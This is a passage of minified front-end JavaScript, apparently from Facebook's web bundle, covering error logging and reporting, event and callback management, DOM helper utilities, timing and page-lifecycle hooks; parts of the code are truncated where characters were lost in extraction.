([^<]+)<\/h1>)?/im.exec(n.errorMsg);if(i){var l,u;o=s('HTML document with title="%s" and h1="%s"',(l=i[1])!==null&&l!==void 0?l:"",(u=i[2])!==null&&u!==void 0?u:"")}else o=s("HTML document sanitized")}else/^\s*<\?xml/i.test(n.errorMsg)?o=s("XML document sanitized"):(n.message=n.errorMsg,o=E(n));o!==n&&typeof n.name=="string"&&(a=n.name),typeof n.name!="string"&&typeof n.errorCode=="string"&&(a="UnhandledRejectionWith_errorCode_"+n.errorCode),typeof n.name!="string"&&typeof n.error=="number"&&(a="UnhandledRejectionWith_error_"+String(n.error))}o.loggingSource="ONUNHANDLEDREJECTION";try{a=o===n&&a!=null&&a!==""?a:typeof(n==null?void 0:n.name)=="string"&&n.name!==""?n.name:r!=null&&r.length>0?"UnhandledRejectionWith_"+r.join("_"):"UnhandledRejection_"+(n===null?"null":typeof n),o.name=a}catch(e){}try{var c=n==null?void 0:n.stack;(typeof c!="string"||c==="")&&(c=o.stack),(typeof c!="string"||c==="")&&(c=s("").stack),o.stack=o.name+": "+o.message+"\n"+c.split("\n").slice(1).join("\n")}catch(e){}try{var d=e.promise;o.stack=o.stack+(d!=null&&typeof d.settledStack=="string"?"\n at \n"+d.settledStack:"")+(d!=null&&typeof d.createdStack=="string"?"\n at \n"+d.createdStack:"")}catch(e){}try{var m=e.promise;"__isPromiseWithTracing"in m&&m.__isPromiseWithTracing===!0&&m.deferredError!=null&&(o.deferredSource=E(m.deferredError))}catch(e){}t.reportError(o),e.preventDefault()}}function De(e){ke=e,typeof t.addEventListener=="function"&&!Ie&&(Ie=!0,t.addEventListener("unhandledrejection",Te))}var xe={onunhandledrejection:Te,setup:De},$e={preSetup:function(t){(t==null||t.ignoreOnError!==!0)&&D.setup(de),(t==null||t.ignoreOnUnahndledRejection!==!0)&&xe.setup(de)},setup:function(t,n,r){de.addListener(function(e){var o,a=babelHelpers.extends({},t,(o=r==null?void 0:r())!==null&&o!==void 0?o:{});Ee.postError(e,a,n)})}},Pe=20,Ne=(function(){function e(e,t){var n=this;t===void 0&&(t=[]),this.FATAL=function(e){for(var t=e.join("%s"),r=arguments.length,o=new Array(r>1?r-1:0),a=1;a1?r-1:0),a=1;a1?r-1:0),a=1;a1?r-1:0),a=1;a1?r-1:0),a=1;a2?m-2:0),_=2;_0&&new e("fblogger").blameToPreviousFrame().blameToPreviousFrame().warn("Blame helpers do not work with catching"),W.aggregateError(c,{messageFormat:t,messageParams:W.toStringParams(p),errorName:c.name,forcedKey:i,project:u,type:n,loggingSource:"FBLOGGER"}),d=ae.normalizeError(c);else{if(c=new Error(t),c.stack===void 0)try{throw c}catch(e){}c.messageFormat=t,c.messageParams=W.toStringParams(p),c.blameModule=o,c.forcedKey=i,c.project=u,c.type=n,c.loggingSource="FBLOGGER",c.taalOpcodes=[l.PREVIOUS_FRAME,l.PREVIOUS_FRAME].concat(this.taalOpcodes),d=ae.normalizeError(c),d.name="FBLogger"}if(!s.isEmpty())if(d.metadata==null)d.metadata=s.format();else{var f=d.metadata.concat(s.format()),g=new Set(f);d.metadata=Array.from(g.values())}if(a.length>0){if(d.events!=null){var h;(h=d.events).push.apply(h,a)}else d.events=[].concat(a);if(d.events!=null&&d.events.length>Pe){var y=d.events.length-Pe;d.events.splice(0,y+1,"")}}return d.tags=Array.from(this.loggerTags),de.reportNormalizedError(d),c},t.fatal=function(t){for(var e=arguments.length,n=new Array(e>1?e-1:0),r=1;r1?e-1:0),r=1;r1?e-1:0),r=1;r1?e-1:0),r=1;r1?e-1:0),r=1;r0?"["+Array.from(this.loggerTags).join("|")+"] ":"";return e},e})(),Me=function(t,n){var e=new Ne(t);return n!=null?e.event(t+"."+n):e};Me.addGlobalMetadata=function(e,t,n){M.addGlobalMetadata(e,t,n)};var we="";function Fe(e,t){if(e!=null&&t!=null)try{Object.defineProperty(e,"name",{value:we+" "+t+Ae})}catch(e){}return e}var Oe={blameToPreviousFile:function(t){var e;return t.taalOpcodes=(e=t.taalOpcodes)!==null&&e!==void 0?e:[],t.taalOpcodes.push(l.PREVIOUS_FILE),t},blameToPreviousFrame:function(t){var e;return t.taalOpcodes=(e=t.taalOpcodes)!==null&&e!==void 0?e:[],t.taalOpcodes.push(l.PREVIOUS_FRAME),t},blameToPreviousDirectory:function(t){var e;return t.taalOpcodes=(e=t.taalOpcodes)!==null&&e!==void 0?e:[],t.taalOpcodes.push(l.PREVIOUS_DIR),t}},Be={err:s,ErrorBrowserConsole:c,ErrorConfig:m,ErrorDynamicData:f,ErrorFilter:R,ErrorGlobalEventHandler:D,ErrorGuard:_e,ErrorGuardState:$,ErrorMetadata:M,ErrorNormalizeUtils:ae,ErrorPoster:Ee,ErrorPubSub:de,ErrorSerializer:W,ErrorSetup:$e,ErrorXFBDebug:z,FBLogger:Me,getErrorSafe:E,getSimpleHash:K,TAAL:Oe,TAALOpcode:l,renameFunction:Fe};a.exports=Be}),null); +__d("ErrorGuard",["fb-error"],(function(t,n,r,o,a,i,l){"use strict";l.default=r("fb-error").ErrorGuard}),98); +__d("CallbackDependencyManager",["ErrorGuard"],(function(t,n,r,o,a,i){var e,l=(function(){"use strict";function t(){this.$1=new Map,this.$2=new Map,this.$3=1,this.$4=new Map}var r=t.prototype;return r.$5=function(t,n){for(var e=0,r=new Set,o=0,a=n.length;o2?t-2:0),i=2;i1?n-1:0),o=1;o1?r-1:0),a=1;a0&&this.$3.releaseCurrentEvent()},t.releaseHeldEventType=function(t){this.$3.releaseEventType(t)},e})();i.default=e}),66); +__d("EventHolder",["invariant"],(function(t,n,r,o,a,i,l,s){"use strict";var e=(function(){function e(){this.$1={},this.$2=[]}var t=e.prototype;return t.holdEvent=function(t){this.$1[t]=this.$1[t]||[];for(var e=this.$1[t],n={eventType:t,index:e.length},r=arguments.length,o=new Array(r>1?r-1:0),a=1;a1?o-1:0),i=1;i-1}function p(t,n){var r,o,a,i,l=(r=(o=(a=(i=t.matches)!=null?i:t.webkitMatchesSelector)!=null?a:t.mozMatchesSelector)!=null?o:t.msMatchesSelector)!=null?r:function(n){return e(t,n)};return l.call(t,n)}l.addClass=u,l.removeClass=c,l.conditionClass=d,l.hasClass=m,l.matchesSelector=p}),98); +__d("Parent",["CSSCore"],(function(t,n,r,o,a,i,l){function e(e,t){t=t.toUpperCase();var n=m(e,function(e){return e.nodeName===t});return n instanceof Element?n:null}function s(e,t){var n=m(e,function(e){return e instanceof Element&&o("CSSCore").hasClass(e,t)});return n instanceof Element?n:null}function u(e,t){var n=e;if(typeof n.matches=="function"){for(;n&&n!==document&&!n.matches(t);)n=n.parentNode;return n instanceof Element?n:null}else if(typeof n.msMatchesSelector=="function"){for(;n&&n!==document&&!n.msMatchesSelector(t);)n=n.parentNode;return n instanceof Element?n:null}else return c(n,t)}function c(e,t){for(var n=e,r=n;r.parentNode;)r=r.parentNode;if(!(r instanceof Element)&&!(r instanceof Document))return null;for(var o=r.querySelectorAll(t);n;){if(Array.from(o).some(function(e){return e===n}))return n instanceof Element?n:null;n=n.parentNode}return n instanceof Element?n:null}function d(e,t){var n=m(e,function(e){return e instanceof Element&&!!e.getAttribute(t)});return n instanceof Element?n:null}function m(e,t){for(var n=e;n;){if(t(n))return n;n=n.parentNode}return null}l.byTag=e,l.byClass=s,l.bySelector=u,l.bySelector_SLOW=c,l.byAttribute=d,l.find=m}),98); +__d("ContextualComponent",["Parent"],(function(t,n,r,o,a,i,l){var e=(function(){function e(e){var t=e.element,n=e.isRoot,r=e.parent;this.$2=n,this.$3=t,this.$4=r,this.$5=new Set,this.$6=[],this.$7=[],this.$8()}e.forNode=function(n){return e.$1.get(n)||null},e.closestToNode=function(n){var t=o("Parent").find(n,function(t){return!!e.forNode(t)});return t?e.forNode(t):null},e.register=function(n){return new e(n)};var t=e.prototype;return t.onCleanup=function(t){this.$6.push(t)},t.onUnmount=function(t){this.$7.push(t)},t.cleanup=function(){this.$5.forEach(function(e){return e.cleanup()}),this.$6.forEach(function(e){return e()}),this.$6=[]},t.unmount=function(){this.cleanup(),this.$5.forEach(function(e){return e.unmount()}),this.$7.forEach(function(e){return e()}),this.$7=[];var t=this.$4;t&&(e.$1.delete(this.$3),t.$9(this))},t.reinitialize=function(){var t=this.$4;t&&(t.$9(this),this.$4=void 0),e.$1.delete(this.$3),this.$8()},t.$8=function(){if(!this.$2&&!this.$4){var t=e.closestToNode(this.$3);t&&(this.$4=t)}this.$4&&this.$4.$10(this),e.$1.set(this.$3,this)},t.$10=function(t){this.$5.add(t)},t.$9=function(t){this.$5.delete(t)},e})();e.$1=new Map,l.default=e}),98); +__d("ExecutionEnvironment",[],(function(t,n,r,o,a,i){"use strict";var e=!!(t!==void 0&&t.document&&t.document.createElement),l=typeof WorkerGlobalScope=="function",s=typeof SharedWorkerGlobalScope=="function"&&self instanceof SharedWorkerGlobalScope,u=!l&&e,c={canUseDOM:e,canUseEventListeners:e&&!!(t.addEventListener||t.attachEvent),canUseViewport:e&&!!window.screen,canUseWorkers:typeof Worker!="undefined",isInBrowser:e||l,isInMainThread:u,isInSharedWorker:s,isInWorker:l},d=c;i.default=d}),66); +__d("PageEvents",[],(function(t,n,r,o,a,i){var e=Object.freeze({NATIVE_ONLOAD:"onload/onload",BIGPIPE_ONLOAD:"onload/onload_callback",AJAXPIPE_ONLOAD:"ajaxpipe/onload_callback",NATIVE_DOMREADY:"onload/dom_content_ready",BIGPIPE_DOMREADY:"onload/domcontent_callback",AJAXPIPE_DOMREADY:"ajaxpipe/domcontent_callback",NATIVE_ONBEFOREUNLOAD:"onload/beforeunload",NATIVE_ONUNLOAD:"onload/unload",AJAXPIPE_ONUNLOAD:"onload/exit",AJAXPIPE_SEND:"ajaxpipe/send",AJAXPIPE_FIRST_RESPONSE:"ajaxpipe/first_response",AJAXPIPE_ONBEFORECLEARCANVAS:"ajaxpipe/onbeforeclearcanvas"});i.default=e}),66); +__d("requireCond",[],(function(t,n,r,o,a,i){function e(e,t,n){throw new Error("Cannot use raw untransformed requireCond.")}var l=e;i.default=l}),66); +__d("TimeSlice",["cr:1126"],(function(t,n,r,o,a,i,l){l.default=n("cr:1126")}),98); +__d("createCancelableFunction",["emptyFunction"],(function(t,n,r,o,a,i,l){"use strict";function e(e){var t=e,n=function(){for(var e=arguments.length,n=new Array(e),r=0;r0&&(t==null||e.some(function(e){return e===t||e.$1===t}))},t.add=function(t,n){var e=this,r;if((n==null?void 0:n.once)===!0){var o=function(){e.remove(r),t.apply(null,arguments)};o.$1=t,r=o}else r=t;return this.__callbacks.push(r),r},t.removeLast=function(){return this.__callbacks.pop()},t.remove=function(t){return this.removeIf(function(e){return e===t})},t.removeIf=function(t){var e=this.__callbacks;return this.__callbacks=e.filter(function(e){return!t(e)}),e.length>this.__callbacks.length},t.clear=function(){this.__callbacks=[]},t.$2=function(){for(var e=this.__callbacks,t=0,n=e.length;t500&&(c=e,r("performanceAbsoluteNowOnAdjust").call(e)),e},typeof window=="object"&&typeof window.addEventListener=="function"){var h={capture:!1,passive:!0};window.addEventListener("blur",g,h),window.addEventListener("focus",g,h)}}else f=_=function(){return s()};var y={setFallback:u,fromRelativeTime:(function(){if(d===-1){var t=p?Date.now()-(e||(e=r("performance"))).now():0;return function(e){return e+t}}else return function(e){return e+d}})(),__adjust:g,adjusted:f},C=Object.assign(_,y),b=C;l.default=b}),98); +__d("RunBlue",["Arbiter","BigPipeInstance","ContextualComponent","ExecutionEnvironment","PageEvents","TimeSlice","createCancelableFunction","emptyFunction","performanceAbsoluteNow"],(function(t,n,r,o,a,i,l){"use strict";var e,s,u="onunloadhooks",c="onafterunloadhooks";function d(e){var n=t.PageHooks;return window.domready&&n?(n.runHook(e,"domreadyhooks:late"),{remove:r("emptyFunction")}):C("domreadyhooks",e)}function m(e){var n=t.PageHooks;if(window.loaded&&n){var r=t.setTimeout(function(){n.runHook(e,"onloadhooks:late")},0);return{remove:function(){return t.clearTimeout(r)}}}else return C("onloadhooks",e)}function p(e,t){var n=t===void 0?!window.loading_page_chrome:t;return C(n?"onbeforeleavehooks":"onbeforeunloadhooks",e)}function _(e,t){return window.onunload||(window.onunload=r("TimeSlice").guard(function(){r("Arbiter").inform(r("PageEvents").NATIVE_ONUNLOAD,!0,"state")},"window.onunload")),C(e,t)}function f(e){return _(u,e)}function g(e){return _(c,e)}function h(e){return C("onleavehooks",e)}function y(e,t){var n=r("createCancelableFunction")(t),o=function(){n(),n.cancel()},a=r("ContextualComponent").closestToNode(e);return a&&a.onCleanup(o),window.onleavehooks=(window.onleavehooks||[]).concat(o),{remove:function(){n.cancel()}}}function C(e,t){var n=r("createCancelableFunction")(t);return window[e]=(window[e]||[]).concat(n),{remove:function(){n.cancel()}}}function b(e){window[e]=[]}var v=r("TimeSlice").guard(function(){r("Arbiter").inform(r("PageEvents").NATIVE_DOMREADY,!0,"state")},"DOMContentLoaded");t._domcontentready=v;function S(){var e=document,n=window;if(e.addEventListener){var o=/AppleWebKit.(\d+)/.exec(navigator.userAgent);if(o&&o[1]<525)var a=t.setInterval(function(){/loaded|complete/.test(e.readyState)&&(v(),t.clearInterval(a))},10);else e.addEventListener("DOMContentLoaded",v,!0)}else{var i=n.location.protocol==="https:"?"//:":"javascript:void(0)";e.write('